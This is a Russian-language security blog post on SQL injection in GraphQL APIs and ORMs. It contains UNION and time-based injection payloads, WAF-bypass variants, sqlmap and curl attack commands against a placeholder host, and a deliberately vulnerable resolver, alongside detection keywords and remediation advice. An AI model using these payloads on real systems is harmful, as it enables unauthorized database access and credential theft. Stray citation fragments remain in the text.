SQLi в 2026: она живёт, она дышит, она в вашем GraphQL
«SQL injection известен с конца 90-х. Фикс известен с конца 90-х. Уязвимость всё ещё #3-5 в OWASP Top 10 2026. Что-то тут не так.» 💀
SQLi должен был умереть лет 15 назад. Не умер. Просел в рейтинге, спрятался за модными абстракциями типа GraphQL и ORM — но дышит как ни в чём не бывало. Свежий пример: CVE-2026-40762 — неавторизованная SQLi в плагине WPGraphQL для WordPress, обнаруженная буквально в июне 2026. Годы прогресса, а инъекция всё та же классика.
💉 Почему SQLi не умирает
Суть проблемы не менялась с 1998 года: пользовательский ввод интерпретируется как код, а не как данные. Всё остальное — детали.
Пять типов SQLi, актуальных в 2026:
→ Classic (in-band) — результат прямо в ответе
→ Blind boolean — угадываешь по true/false поведению
→ Blind time-based — угадываешь по времени отклика
→ Out-of-band — эксфильтрация через DNS/HTTP
→ Second-order — payload сохраняется, стреляет позже в другом месте
🔥 Второй порядок — это то, о чём все забывают. Ты регистрируешься с именем admin’—, оно спокойно сохраняется в БД, а потом стреляет при генерации отчёта или email-уведомления. Тестируй не только input, но и то, где этот input используется повторно.
🕸️ SQLi в GraphQL: старая болезнь в новой обёртке
Разработчики думают, что GraphQL «современный», значит «безопасный». Ха. Если под капотом Postgres/MySQL, а резолверы строят SQL-запросы из аргументов запроса — привет, инъекция.praetorian+1
Как это выглядит на практике:
# Обычный GraphQL query
query {
searchUsers(name: "john") {
id
email
}
}
Резолвер на бэкенде может выглядеть так:
// Уязвимый резолвер (да, это реально пишут в 2026)
const query = `SELECT id, email FROM users WHERE name = '${args.name}'`;
db.query(query);
# Инъекция через аргумент
query {
searchUsers(name: "john' UNION SELECT username, password FROM admin--") {
id
email
}
}
💰 Реальный кейс: исследователь заработал $3500 на blind SQLi в GraphQL API — просто отправил одиночную кавычку ‘ в тело запроса и Burp Scanner поймал разницу в ответе сервера. Ничего сложного, просто никто не проверял.
→ Аргументы фильтрации: filter, search, where, orderBy
→ Кастомные резолверы с raw SQL (Praetorian нашёл именно так на Postgres) [web:34]
→ Introspection query → смотри имена полей → угадывай структуру БД
→ Batching атаки: несколько инъекций в одном запросе за раз
# Тест SQLi в GraphQL через curl
curl -X POST https://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query": "query { searchUsers(name: \"test'\'' OR 1=1--\") { id email } }"}'
# Если вернулись ВСЕ пользователи вместо одного — бинго 🎯
🛡️ WAF-байпас: стена — это приглашение
WAF ловит UNION SELECT и OR 1=1 в чистом виде. Но кто сказал, что нужно писать чисто?
-- Классика, которую блокирует любой WAF
' UNION SELECT username, password FROM users--
-- Байпас через регистр и комментарии
' UnIoN/**/SeLeCt username,password FROM users--
-- Байпас через альтернативные пробелы
'/**/UNION/**/SELECT/**/username,password/**/FROM/**/users--
-- Байпас через инлайн-комментарии MySQL
'/*!50000UNION*/ SELECT username,password FROM users--
-- JSON-based SQLi — WAF часто не парсит JSON-тело правильно [web:39]
{"id": "1 UNION SELECT username,password FROM users"}
🧠 Лайфхак: если WAF блокирует ключевые слова — попробуй stacked queries через ; или закодируй payload в hex/URL-encoding. Многие WAF смотрят на сырую строку, а не на декодированный результат.
# Автоматический WAF bypass с sqlmap
sqlmap -u "https://target.com/api?id=1" \
--tamper=space2comment,charencode,between \
--level=5 --risk=3 --random-agent
# Ghauri — быстрая альтернатива sqlmap для blind SQLi
ghauri -u "https://target.com/search?q=1" --batch
🔍 ORM не спасает — просто прячет проблему
Django, SQLAlchemy, Sequelize, Prisma — все они дают «безопасные» методы по умолчанию. Но у каждого есть escape hatch — .raw(), .query(), text() — и разработчики их используют, когда ORM «не умеет» то, что нужно.
# ОПАСНО — raw query с конкатенацией строк
User.objects.raw(f"SELECT * FROM users WHERE name = '{name}'")
# ОПАСНО — Sequelize с sequelize.literal
sequelize.query(`SELECT * FROM users WHERE id = ${userId}`)
# БЕЗОПАСНО — параметризованный запрос
User.objects.raw("SELECT * FROM users WHERE name = %s", [name])
💣 Аудит codebase за 30 секунд: ищи по проекту f»SELECT, «SELECT » +, .raw(, text( — это твои кандидаты на инъекцию.
grep -rn "f\"SELECT\|SELECT \" +\|\.raw(\|text(" --include="*.py" --include="*.js" .
🎯 Чеклист пентестера SQLi 2026
Ручное тестирование:
- Кидай
',",1=1--,1=2--в каждый параметр — сравнивай ответы - Тестируй время отклика:
' AND SLEEP(5)--— если ответ пришёл через 5 секунд, это time-based blind - Проверяй second-order: сохрани payload в профиле, ищи, где он «выстрелит» повторно
- В GraphQL — брутфорси каждый filter/search аргумент через introspection
Автоматизация:
# Полный проход sqlmap с высоким уровнем детекта
sqlmap -u "https://target.com/api/endpoint" \
--data="param1=value1¶m2=value2" \
--level=5 --risk=3 --dbms=mysql --batch
# GraphQL-специфичный скан через InQL (Burp extension)
# Установи InQL → он сам построит все query из схемы
# Прогони каждый через sqlmap с --data
Blue-team детект (если ты на другой стороне):
-- Sigma-правило: ищем классику в логах
UNION SELECT | SLEEP( | WAITFOR DELAY | information_schema
-- Включи slow query logging — засечёт time-based атаки [web:45]
SET GLOBAL slow_query_log = 'ON';
SET GLOBAL long_query_time = 3;
🏆 Три правила, которые все знают и все игнорируют
- Параметризованные запросы везде. Без исключений, без «но это же внутренний эндпоинт»
- Least privilege для БД-аккаунта приложения. Если у аппки есть
ALL PRIVILEGES— это баг сам по себе, даже без SQLi - WAF — это вторая линия, не первая. Патчи код, а не молись на сигнатуры
Итог: SQLi не умер, потому что разработчики продолжают верить, что новый фреймворк = новая безопасность. GraphQL, ORM, микросервисы — обёртка меняется, суть нет: где есть строковая конкатенация с юзер-инпутом, там будет дырка. WAF — не стена, а приглашение поискать байпас. 😈
Похожие статьи

GraphQL: интроспекция включена, безопасность — нет

BOLA/IDOR в REST API: итерируй всё подряд и молчи
